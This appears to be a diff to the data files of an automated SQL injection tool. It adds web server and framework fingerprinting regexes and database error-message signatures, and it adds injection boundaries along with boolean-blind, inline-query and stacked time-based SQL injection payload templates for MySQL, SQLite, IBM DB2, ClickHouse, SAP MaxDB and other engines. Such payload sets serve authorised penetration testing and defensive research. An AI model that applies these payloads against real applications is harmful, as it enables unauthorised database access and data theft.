<regexp value="Apache/2\.4\.51 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="35"/>
</regexp>
<!-- Apache: FreeBSD -->
<regexp value="Apache/2\.0\.16 \(FreeBSD\)">
@@ -407,6 +444,18 @@
<info type="FreeBSD" release="11.1"/>
</regexp>
<regexp value="Apache/2\.4\.39 \(FreeBSD\)">
<info type="FreeBSD" release="11.3"/>
</regexp>
<regexp value="Apache/2\.4\.51 \(FreeBSD\)">
<info type="FreeBSD" release="12.3"/>
</regexp>
<regexp value="Apache/2\.4\.46 \(FreeBSD\)">
<info type="FreeBSD" release="13.0"/>
</regexp>
<!-- Apache: Mandrake / Mandriva -->
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Mandrake/Linux\)">
@@ -587,6 +636,10 @@
<info type="Linux" distrib="Red Hat" release="Enterprise 7" codename="Maipo"/>
</regexp>
<regexp value="Apache/2\.4\.37 \(Red Hat\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 8" codename="Ootpa"/>
</regexp>
<!-- Apache: SuSE -->
<regexp value="Apache/1\.3\.6 \(Unix\) \(SuSE/Linux\)">
@@ -714,6 +767,14 @@
<info type="Linux" distrib="SuSE" release="42.2|42.3"/>
</regexp>
<regexp value="Apache/2\.4\.33 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="15"/>
</regexp>
<regexp value="Apache/2\.4\.43 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="15.3"/>
</regexp>
<!-- Apache: Ubuntu -->
<regexp value="Apache/2\.0\.50 \(Ubuntu\)">
@@ -800,6 +861,30 @@
<info type="Linux" distrib="Ubuntu" release="17.10" codename="artful"/>
</regexp>
<regexp value="Apache/2\.4\.29 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="18.04" codename="bionic"/>
</regexp>
<regexp value="Apache/2\.4\.34 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="18.10" codename="cosmic"/>
</regexp>
<regexp value="Apache/2\.4\.38 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="19.04" codename="disco"/>
</regexp>
<regexp value="Apache/2\.4\.41 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="19.10|20.04|20.10" codename="eoan|focal"/>
</regexp>
<regexp value="Apache/2\.4\.46 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="21.04|21.10" codename="hirsute|impish"/>
</regexp>
<regexp value="Apache/2\.4\.52 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="22.04" codename="jammy"/>
</regexp>
<!-- Nginx -->
<regexp value="nginx$">
+28
View File
@@ -62,4 +62,32 @@
<regexp value="\bwp_">
<info technology="WordPress"/>
</regexp>
<regexp value="_session_id">
<info technology="Ruby on Rails"/>
</regexp>
<regexp value="sessionid">
<info technology="Django"/>
</regexp>
<regexp value="connect\.sid">
<info technology="Node.js (Express)"/>
</regexp>
<regexp value="laravel_session">
<info technology="Laravel"/>
</regexp>
<regexp value="SESS[a-f0-9]{32}">
<info technology="Drupal"/>
</regexp>
<regexp value="joomla_[a-z0-9]+">
<info technology="Joomla"/>
</regexp>
<regexp value="sails\.sid">
<info technology="Sails.js"/>
</regexp>
</root>
+20
View File
@@ -19,6 +19,22 @@
<info technology="EasyEngine" tech_version="1"/>
</regexp>
<regexp value="Phusion Passenger ([\d\.]+)">
<info technology="Phusion Passenger" tech_version="1"/>
</regexp>
<regexp value="Craft CMS">
<info technology="Craft CMS"/>
</regexp>
<regexp value="Express">
<info technology="Express"/>
</regexp>
<regexp value="WP Engine">
<info technology="WP Engine"/>
</regexp>
<regexp value="PleskLin">
<info technology="Plesk" type="Linux"/>
</regexp>
@@ -46,4 +62,8 @@
<regexp value="Servlet[\-\_\/\ ]?([\d\.]+)">
<info technology="Servlet" tech_version="1"/>
</regexp>
<regexp value="Laravel">
<info technology="Laravel"/>
</regexp>
</root>
+77 -60
View File
@@ -55,6 +55,8 @@ Tag: <boundary>
4: Double quoted string
5: LIKE double quoted string
6: Identifier (e.g. column name)
7: Block comment
8: Alternative quoted string (e.g. PostgreSQL $$...$$, Oracle q'[...]')
Sub-tag: <prefix>
A string to prepend to the payload.
@@ -213,6 +215,15 @@ Formats:
<suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>
<where>1,2</where>
<ptype>3</ptype>
<prefix>%'</prefix>
<suffix> AND '[RANDSTR]%'='[RANDSTR]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>
@@ -333,14 +344,6 @@ Formats:
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>") WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>4</level>
@@ -405,41 +408,6 @@ Formats:
<suffix>)+'</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)||</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)||</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>1</ptype>
<prefix>+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)+</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)+</suffix>
</boundary>
<!-- End of pre-WHERE generic boundaries -->
<!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"-->
@@ -452,14 +420,6 @@ Formats:
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
@@ -501,21 +461,25 @@ Formats:
<level>4</level>
<clause>1</clause>
<where>1</where>
<ptype>1</ptype>
<ptype>6</ptype>
<prefix>` WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>1</ptype>
<prefix>`) WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<!-- End of pre-WHERE derived table boundaries -->
<!-- Block-comment escape: injection point sits INSIDE /* ... */ (e.g. a query tag / trace / tenant
annotation). '*/' terminates the app comment, the test runs, '/*' re-opens a comment that the
app's original '*/' closes. Inert (stays inside the literal) when the value is not in a comment. -->
<boundary>
<level>4</level>
<clause>1,2,3</clause>
<where>1,2</where>
<ptype>7</ptype>
<prefix>*/</prefix>
<suffix>/*</suffix>
</boundary>
<!-- Escaped column name (e.g. SELECT `...` FROM table) boundaries -->
<boundary>
<level>4</level>
@@ -545,6 +509,15 @@ Formats:
</boundary>
<!-- End of escaped column name boundaries -->
<boundary>
<level>5</level>
<clause>7</clause>
<where>1</where>
<ptype>6</ptype>
<prefix> [RANDSTR1],</prefix>
<suffix> [RANDSTR2]</suffix>
</boundary>
<!-- AGAINST boolean full-text search boundaries (http://dev.mysql.com/doc/refman/5.5/en/fulltext-boolean.html) -->
<boundary>
<level>4</level>
@@ -555,4 +528,48 @@ Formats:
<suffix>#</suffix>
</boundary>
<!-- End of AGAINST boolean full-text search boundaries -->
<!-- Alternative quoted string delimiters where ' and " have no terminating effect:
PostgreSQL $$...$$ dollar quoting, Oracle q'[...]' / q'{...}' / q'(...)' / q'<...>'. -->
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>8</ptype>
<prefix>$$</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>8</ptype>
<prefix>]'</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>8</ptype>
<prefix>}'</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>8</ptype>
<prefix>)'</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>8</ptype>
<prefix>&gt;'</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<!-- End of alternative quoted string boundaries -->
</root>
+61 -10
View File
@@ -9,13 +9,15 @@
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
<error regexp="check the manual that (corresponds to|fits) your TiDB server version" fork="TiDB"/>
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
<error regexp="MySqlClient\."/>
<error regexp="com\.mysql\.jdbc"/>
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
<error regexp="Pdo[./_\\]Mysql"/>
<error regexp="MySqlException"/>
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
<error regexp="pymysql\.err\."/>
<error regexp="MySQLdb\.(_exceptions\.|\w+Error)"/>
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
@@ -28,12 +30,14 @@
<error regexp="Npgsql\."/>
<error regexp="PG::SyntaxError:"/>
<error regexp="org\.postgresql\.util\.PSQLException"/>
<error regexp="ERROR:\s\ssyntax error at or near"/>
<error regexp="ERROR:\s+syntax error at or near"/>
<error regexp="ERROR: parser: parse error at or near"/>
<error regexp="PostgreSQL query failed"/>
<error regexp="org\.postgresql\.jdbc"/>
<error regexp="Pdo[./_\\]Pgsql"/>
<error regexp="PSQLException"/>
<error regexp="psycopg2?\.(errors\.|\w+Error)"/>
<error regexp="asyncpg\.(exceptions\.|\w+Error)"/>
</dbms>
<dbms value="Microsoft SQL Server">
@@ -42,7 +46,7 @@
<error regexp="\bSQL Server[^&lt;&quot;]+Driver"/>
<error regexp="Warning.*?\W(mssql|sqlsrv)_"/>
<error regexp="\bSQL Server[^&lt;&quot;]+[0-9a-fA-F]{8}"/>
<error regexp="System\.Data\.SqlClient\.SqlException"/>
<error regexp="System\.Data\.SqlClient\.(SqlException|SqlConnection\.OnError)"/>
<error regexp="(?s)Exception.*?\bRoadhouse\.Cms\."/>
<error regexp="Microsoft SQL Native Client error '[0-9a-fA-F]{8}"/>
<error regexp="\[SQL Server\]"/>
@@ -55,6 +59,7 @@
<error regexp="com\.microsoft\.sqlserver\.jdbc"/>
<error regexp="Pdo[./_\\](Mssql|SqlSrv)"/>
<error regexp="SQL(Srv|Server)Exception"/>
<error regexp="Unclosed quotation mark after the character string"/>
</dbms>
<dbms value="Microsoft Access">
@@ -77,13 +82,15 @@
<error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/>
<error regexp="Pdo[./_\\](Oracle|OCI)"/>
<error regexp="OracleException"/>
<error regexp="cx_Oracle\.\w+Error"/>
<error regexp="oracledb\.(exceptions\.|\w+Error)"/>
</dbms>
<dbms value="IBM DB2">
<error regexp="CLI Driver.*?DB2"/>
<error regexp="DB2 SQL error"/>
<error regexp="\bdb2_\w+\("/>
<error regexp="SQLSTATE.+SQLCODE"/>
<error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
<error regexp="com\.ibm\.db2\.jcc"/>
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
<error regexp="Pdo[./_\\]Ibm"/>
@@ -104,7 +111,7 @@
<!-- Interbase/Firebird -->
<dbms value="Firebird">
<error regexp="Dynamic SQL Error"/>
<error regexp="Dynamic SQL Error.{1,10}SQL error code"/>
<error regexp="Warning.*?\Wibase_"/>
<error regexp="org\.firebirdsql\.jdbc"/>
<error regexp="Pdo[./_\\]Firebird"/>
@@ -122,6 +129,7 @@
<error regexp="org\.sqlite\.JDBC"/>
<error regexp="Pdo[./_\\]Sqlite"/>
<error regexp="SQLiteException"/>
<error regexp="SqliteError:"/>
</dbms>
<dbms value="SAP MaxDB">
@@ -129,7 +137,7 @@
<error regexp="Warning.*?\Wmaxdb_"/>
<error regexp="DriverSapDB"/>
<error regexp="-3014.*?Invalid end of SQL statement"/>
<error regexp="com\.sap\.dbtech\.jdbc"/>
<error regexp="com\.sap\.db(tech)?\.jdbc"/>
<error regexp="\[-3008\].*?: Invalid keyword or missing delimiter"/>
</dbms>
@@ -164,13 +172,14 @@
<dbms value="H2">
<error regexp="org\.h2\.jdbc"/>
<error regexp="\[42000-192\]"/>
<error regexp="\[42000-\d+\]"/>
</dbms>
<dbms value="MonetDB">
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
<error regexp="\[MonetDB\]\[ODBC Driver"/>
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
<error regexp="org\.monetdb\.jdbc"/>
</dbms>
<dbms value="Apache Derby">
@@ -198,6 +207,7 @@
<error regexp="io\.prestosql\.jdbc"/>
<error regexp="com\.simba\.presto\.jdbc"/>
<error regexp="UNION query has different number of fields: \d+, \d+"/>
<error regexp="line \d+:\d+: mismatched input '[^']+'. Expecting:"/>
</dbms>
<dbms value="Altibase">
@@ -209,12 +219,53 @@
<error regexp="Syntax error,[^\n]+assumed to mean"/>
</dbms>
<dbms value="CrateDB">
<error regexp="io\.crate\.client\.jdbc"/>
<dbms value="ClickHouse">
<error regexp="Code: \d+[., ]+DB::Exception:"/>
<error regexp="Syntax error: failed at position \d+"/>
</dbms>
<dbms value="Cache">
<dbms value="CrateDB">
<error regexp="io\.crate\."/>
</dbms>
<dbms value="Cubrid">
<error regexp="\[CAS INFO"/>
<error regexp="cubrid\.jdbc\.driver"/>
</dbms>
<dbms value="InterSystems Cache">
<error regexp="encountered after end of query"/>
<error regexp="A comparison operator is required here"/>
</dbms>
<dbms value="Raima Database Manager">
<error regexp="-10048: Syntax error"/>
<error regexp="rdmStmtPrepare\(.+?\) returned"/>
</dbms>
<dbms value="Virtuoso">
<error regexp="SQ074: Line \d+:"/>
<error regexp="SR185: Undefined procedure"/>
<error regexp="SQ200: No table "/>
<error regexp="Virtuoso S0002 Error"/>
<error regexp="\[(Virtuoso Driver|Virtuoso iODBC Driver)\]\[Virtuoso Server\]"/>
</dbms>
<dbms value="Snowflake">
<error regexp="001003 \(42000\):"/>
<error regexp="100038 \(22018\):"/>
<error regexp="000904 \(42000\):"/>
<error regexp="SQL compilation error: (syntax )?error line \d+ at position \d+"/>
</dbms>
<dbms value="Spanner">
<error regexp="type.googleapis.com/zetasql.ErrorMessageModeForPayload"/>
</dbms>
<dbms value="SAP HANA">
<error regexp="SAP DBTech JDBC"/>
<error regexp="invalid number: not a valid number string"/>
<error regexp="sql syntax error:.*?\(at pos \d+\)"/>
<error regexp="inserted value too large for column"/>
</dbms>
</root>
+89 -79
View File
@@ -484,18 +484,18 @@ Tag: <test>
</test>
<test>
<title>MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)</title>
<title>MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
<stype>1</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>1</where>
<vector>AND ([INFERENCE])*[RANDNUM]</vector>
<vector>AND EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END)</vector>
<request>
<payload>AND ([RANDNUM]=[RANDNUM])*[RANDNUM1]</payload>
<payload>AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END)</payload>
</request>
<response>
<comparison>AND ([RANDNUM]=[RANDNUM1])*[RANDNUM1]</comparison>
<comparison>AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)</comparison>
</response>
<details>
<dbms>MySQL</dbms>
@@ -503,18 +503,18 @@ Tag: <test>
</test>
<test>
<title>MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)</title>
<title>MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
<stype>1</stype>
<level>5</level>
<risk>3</risk>
<clause>1,2,3</clause>
<clause>1,2,3,8</clause>
<where>2</where>
<vector>OR ([INFERENCE])*[RANDNUM]</vector>
<vector>OR EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END)</vector>
<request>
<payload>OR ([RANDNUM]=[RANDNUM])*[RANDNUM1]</payload>
<payload>OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END)</payload>
</request>
<response>
<comparison>OR ([RANDNUM]=[RANDNUM1])*[RANDNUM1]</comparison>
<comparison>OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)</comparison>
</response>
<details>
<dbms>MySQL</dbms>
@@ -596,6 +596,45 @@ Tag: <test>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>SQLite AND boolean-based blind - WHERE or HAVING clause (JSON)</title>
<stype>1</stype>
<level>2</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>AND CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</vector>
<request>
<payload>AND CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</payload>
</request>
<response>
<comparison>AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</comparison>
</response>
<details>
<dbms>SQLite</dbms>
</details>
</test>
<test>
<title>SQLite OR boolean-based blind - WHERE or HAVING clause (JSON)</title>
<stype>1</stype>
<level>3</level>
<risk>3</risk>
<clause>1</clause>
<where>2</where>
<vector>OR CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</vector>
<request>
<payload>OR CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</payload>
</request>
<response>
<comparison>OR CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END</comparison>
</response>
<details>
<dbms>SQLite</dbms>
</details>
</test>
<!-- End of boolean-based blind tests - WHERE or HAVING clause -->
<!-- Boolean-based blind tests - Parameter replace -->
@@ -824,7 +863,6 @@ Tag: <test>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -845,7 +883,6 @@ Tag: <test>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1072,46 +1109,6 @@ Tag: <test>
</details>
</test>
<test>
<title>MySQL &lt; 5.0 boolean-based blind - ORDER BY, GROUP BY clause</title>
<stype>1</stype>
<level>3</level>
<risk>1</risk>
<clause>2,3</clause>
<where>1</where>
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
<request>
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
</request>
<response>
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&lt; 5.0</dbms_version>
</details>
</test>
<test>
<title>MySQL &lt; 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>
<stype>1</stype>
<level>4</level>
<risk>1</risk>
<clause>2,3</clause>
<where>1</where>
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
<request>
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
</request>
<response>
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&lt; 5.0</dbms_version>
</details>
</test>
<test>
<title>PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause</title>
<stype>1</stype>
@@ -1193,7 +1190,6 @@ Tag: <test>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1214,7 +1210,6 @@ Tag: <test>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1332,6 +1327,44 @@ Tag: <test>
</details>
</test>
<test>
<title>IBM DB2 boolean-based blind - ORDER BY clause</title>
<stype>1</stype>
<level>4</level>
<risk>1</risk>
<clause>3</clause>
<where>1</where>
<vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
<request>
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
</request>
<response>
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<test>
<title>IBM DB2 boolean-based blind - ORDER BY clause (original value)</title>
<stype>1</stype>
<level>5</level>
<risk>1</risk>
<clause>3</clause>
<where>1</where>
<vector>,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
<request>
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
</request>
<response>
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<!-- Works in MySQL, Oracle, etc. -->
<test>
<title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
@@ -1372,27 +1405,6 @@ Tag: <test>
</details>
</test>
<test>
<title>MySQL &lt; 5.0 boolean-based blind - Stacked queries</title>
<stype>1</stype>
<level>5</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</vector>
<request>
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</payload>
<comment>#</comment>
</request>
<response>
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</comparison>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&lt; 5.0</dbms_version>
</details>
</test>
<test>
<title>PostgreSQL boolean-based blind - Stacked queries</title>
<stype>1</stype>
@@ -1452,7 +1464,6 @@ Tag: <test>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1474,7 +1485,6 @@ Tag: <test>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1525,13 +1535,13 @@ Tag: <test>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END</vector>
<vector>;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END FROM DUAL</vector>
<request>
<payload>;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END</payload>
<payload>;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END FROM DUAL</payload>
<comment>--</comment>
</request>
<response>
<comparison>;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END</comparison>
<comparison>;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END FROM DUAL</comparison>
</response>
<details>
<dbms>SAP MaxDB</dbms>
File diff suppressed because it is too large Load Diff
+20 -1
View File
@@ -73,7 +73,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -134,5 +133,25 @@
<dbms>Firebird</dbms>
</details>
</test>
<test>
<title>ClickHouse inline queries</title>
<stype>3</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
<request>
<payload>('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>ClickHouse</dbms>
</details>
</test>
<!-- End of inline queries tests -->
</root>
+8 -12
View File
@@ -85,7 +85,7 @@
</test>
<test>
<title>MySQL &lt; 5.0.12 stacked queries (heavy query - comment)</title>
<title>MySQL &lt; 5.0.12 stacked queries (BENCHMARK - comment)</title>
<stype>4</stype>
<level>3</level>
<risk>2</risk>
@@ -105,7 +105,7 @@
</test>
<test>
<title>MySQL &lt; 5.0.12 stacked queries (heavy query)</title>
<title>MySQL &lt; 5.0.12 stacked queries (BENCHMARK)</title>
<stype>4</stype>
<level>5</level>
<risk>2</risk>
@@ -207,7 +207,7 @@
<title>PostgreSQL &lt; 8.2 stacked queries (Glibc - comment)</title>
<stype>4</stype>
<level>3</level>
<risk>1</risk>
<risk>3</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
@@ -229,7 +229,7 @@
<title>PostgreSQL &lt; 8.2 stacked queries (Glibc)</title>
<stype>4</stype>
<level>5</level>
<risk>1</risk>
<risk>3</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
@@ -264,7 +264,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -286,7 +285,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -307,7 +305,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -328,7 +325,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -490,7 +486,7 @@
<test>
<title>IBM DB2 stacked queries (heavy query - comment)</title>
<stype>5</stype>
<stype>4</stype>
<level>3</level>
<risk>2</risk>
<clause>1-8</clause>
@@ -510,7 +506,7 @@
<test>
<title>IBM DB2 stacked queries (heavy query)</title>
<stype>5</stype>
<stype>4</stype>
<level>5</level>
<risk>2</risk>
<clause>1-8</clause>
@@ -611,7 +607,7 @@
<test>
<title>SAP MaxDB stacked queries (heavy query - comment)</title>
<stype>5</stype>
<stype>4</stype>
<level>4</level>
<risk>2</risk>
<clause>1-8</clause>
@@ -631,7 +627,7 @@
<test>
<title>SAP MaxDB stacked queries (heavy query)</title>
<stype>5</stype>
<stype>4</stype>
<level>5</level>
<risk>2</risk>
